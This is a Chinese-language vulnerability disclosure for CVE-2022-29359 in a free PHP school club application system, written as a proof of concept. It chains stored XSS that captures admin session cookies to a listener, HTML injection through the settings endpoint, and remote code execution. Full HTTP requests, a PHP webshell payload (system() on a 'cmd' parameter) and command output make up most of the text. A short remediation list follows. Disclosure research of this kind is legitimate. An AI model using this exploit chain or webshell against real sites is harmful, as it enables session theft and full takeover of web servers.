学校社团申请系统

问题：未经验证的存储型跨站脚本攻击到HTML注入再到远程代码执行

作者：Zak Clifford

日期：2022年4月12日

厂商：https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html

软件：https://www.sourcecodester.com/sites/default/files/download/oretnom23/scas_0.zip

参考：https://github.com/ZSECURE

测试环境：Windows, MySQL, Apache

摘要

在测试一个自由开源软件（FOSS）应用程序时，发现一个漏洞：未经验证的攻击者可以申请加入读书俱乐部，注入XSS负载，并窃取应用程序管理员的会话Cookie（管理员或俱乐部管理员角色）。利用获取的会话Cookie以管理员身份登录后，可以在“关于我们”和首页添加PHP代码。通过添加PHP Webshell，可以在Web服务器上执行命令。

概念验证

未经验证的存储型XSS

手动步骤：申请加入俱乐部并点击 提交申请

直接方法：访问以下 URL http://localhost/scas/?page=clubs/application_form&id=7

脆弱输入字段截图：

无标题

在 firstname 参数中插入以下负载：

m1st3r3">

包含负载的 POST 请求如下：

POST /scas/classes/Master.php?f=save_application HTTP/1.1
Host: localhost
Content-Length: 1326
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEWvm4hOYmjUAAlLT
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/?page=clubs/application_form&id=7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="id"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="club_id"

7
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="firstname"

m1st3r3">
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="middlename"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="lastname"

test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="gender"

Male
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="year_level"

2022
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="section"

test
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="email"

[email protected]
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="contact"

0123456789
------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="address"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT
Content-Disposition: form-data; name="message"

------WebKitFormBoundaryEWvm4hOYmjUAAlLT--

启动一个监听在8000端口的 Python HTTP 服务器以捕获请求：

PS C:\xampp\htdocs\scas> python -m http.server
Serving HTTP on :: port 8000 (http://[::]:8000/) ...
::ffff:127.0.0.1 - - [11/Apr/2022 22:54:46] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [11/Apr/2022 23:15:37] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:35] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:26:49] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [12/Apr/2022 10:32:01] "GET /?PHPSESSID=qvch5e9s97c9cfpsi23f2iureq HTTP/1.1" 200 -

当管理员或俱乐部管理员登录并查看申请时，存储型XSS被触发，从而可以捕获会话Cookie。获取Cookie后，即可使用该Cookie以相应用户身份登录。

HTML注入

利用管理员会话Cookie，可以将代码注入到 index.php 和 about-us.php 中，从而操纵页面并可能获得命令执行能力。

请求：

POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"

School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"

SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"

<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"

<h1>HTML injection is possible here!</h1><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S--

无标题

远程代码执行

延续之前的HTML注入问题，可以在页面中添加PHP Webshell并执行命令。

将以下负载 <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?> 追加到 lorem ipsum 文本末尾。

POST /scas/classes/SystemSettings.php?f=update_settings HTTP/1.1
Host: localhost
Content-Length: 5552
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylq5Nntc4amccqP1S
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/scas/admin/?page=system
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=qvch5e9s97c9cfpsi23f2iureq
Connection: close

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="name"

School Club Application System
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="short_name"

SCAS - PHP
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[welcome]"

<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Fusce bibendum leo in purus commodo accumsan. Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam et ligula gravida, rhoncus magna vel, tristique nibh. Nullam molestie, risus ac pretium mattis, massa dui tristique nunc, eu lacinia leo lorem consequat libero. Donec vitae nisi semper, pulvinar felis quis, mattis sem. Nulla quis dolor in lorem tempor posuere. Mauris non nunc vel ex malesuada pellentesque non egestas ligula. Donec consequat nunc non enim pretium aliquet. Maecenas non arcu a quam aliquam malesuada ut eget arcu. Curabitur sit amet est lorem. Aenean commodo mi vel magna semper dignissim. Fusce commodo orci nec placerat laoreet. Praesent nisl lectus, varius sit amet molestie a, luctus ut ipsum. Sed quis massa quis lorem auctor eleifend. Integer eget nulla sit amet massa commodo porttitor. Duis justo tortor, euismod vitae leo ac, pharetra mattis justo.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px; background-color: rgb(255, 255, 255);">Pellentesque auctor dictum porttitor. Ut ultricies feugiat mollis. Aenean pretium pulvinar aliquam. Maecenas lobortis ornare tortor vitae vestibulum. Quisque aliquam neque eget magna venenatis, sit amet auctor ex elementum. Etiam ullamcorper sapien quis metus interdum cursus. Curabitur quis ligula molestie, sollicitudin ipsum ac, fringilla dui. Ut sit amet ornare nulla. Vestibulum condimentum sem at velit vehicula, sit amet hendrerit augue finibus. In hac habitasse platea dictumst.</p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="content[about]"

<p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">In scelerisque risus elit, sed imperdiet magna porttitor eu. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Etiam non augue eget lacus semper placerat in at libero. Sed a libero malesuada, pharetra elit posuere, sagittis ligula. Pellentesque aliquam ultrices arcu, sed blandit leo euismod in. Vestibulum luctus diam orci, eget convallis nisl dapibus rutrum. Aliquam nec dui lobortis, consectetur sem et, semper urna. Morbi at nunc nibh. Curabitur placerat tortor in quam dignissim volutpat. Integer ac purus vel nulla posuere gravida. Sed justo ex, venenatis eget interdum sit amet, tincidunt at neque. Cras vitae urna at leo commodo cursus. Duis at ligula non orci sodales ultricies. Fusce vulputate convallis augue, egestas semper diam condimentum et. Duis ante purus, tincidunt eu est in, ullamcorper molestie ante. Pellentesque sodales sit amet massa vitae vulputate.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"="">Quisque fringilla, mi quis blandit posuere, nulla lorem sagittis dui, et dapibus urna nisl et nisl. Sed vel leo rutrum, suscipit urna at, elementum augue. Donec vitae gravida lacus. Sed accumsan ligula sit amet nisi scelerisque, ac malesuada ligula pharetra. Nulla pellentesque nisl quis purus congue, id luctus lacus aliquam. Phasellus magna dolor, tempus vel cursus sed, sollicitudin sit amet est. Donec et ultrices odio. Proin posuere, arcu sit amet rhoncus sagittis, lacus mi porttitor dolor, quis ornare arcu ante ac tortor. Aliquam porttitor velit in viverra eleifend. Nam quis ullamcorper orci. Suspendisse bibendum justo id diam eleifend, non molestie libero mattis. Quisque felis nunc, fringilla sit amet pretium nec, rhoncus vel sapien. Proin auctor cursus nulla sed hendrerit.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: " open="" sans",="" arial,="" sans-serif;="" font-size:="" 14px;="" background-color:="" rgb(255,="" 255,="" 255);"=""><br></p><?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="files"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="img"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S
Content-Disposition: form-data; name="cover"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarylq5Nntc4amccqP1S--

然后只需使用参数 cmd=<command> 请求 index.php 页面即可执行命令。

请求：

GET /scas/index.php?cmd=dir HTTP/1.1
Host: localhost
Content-Length: 0

响应：

HTTP/1.1 200 OK

<snipped for brevity>

<pre> Volume in drive C is OS
 Volume Serial Number is 9C4B-142B

 Directory of C:\xampp\htdocs\scas

10/04/2022  19:09    <DIR>          .
10/04/2022  19:09    <DIR>          ..
10/04/2022  15:35               225 .htaccess
12/04/2022  18:05             2,533 about.html
10/04/2022  15:35               220 about.php
10/04/2022  16:14    <DIR>          admin
10/04/2022  16:15    <DIR>          assets
10/04/2022  16:14    <DIR>          classes
10/04/2022  17:17    <DIR>          clubs
10/04/2022  16:14    <DIR>          club_admin
10/04/2022  16:14    <DIR>          club_contents
10/04/2022  15:35             1,297 config.php
10/04/2022  16:14    <DIR>          database
10/04/2022  15:35               256 home.php
10/04/2022  16:14    <DIR>          includes
10/04/2022  15:35             3,010 index.php
10/04/2022  15:35               647 initialize.php
10/04/2022  16:14    <DIR>          uploads
12/04/2022  18:05             1,955 welcome.html
              10 File(s)         11,553 bytes
              11 Dir(s)  181,660,803,072 bytes free
</pre>

这是我提交的第一个CVE，请善待 😃

修复方案

对用户输入进行HTML编码，使其不被Web服务器执行
将会话Cookie标记为HTTPOnly PHPSESSID
实施内容安全策略（Content-Security-Policy）

CVE-2022-29359

最受欢迎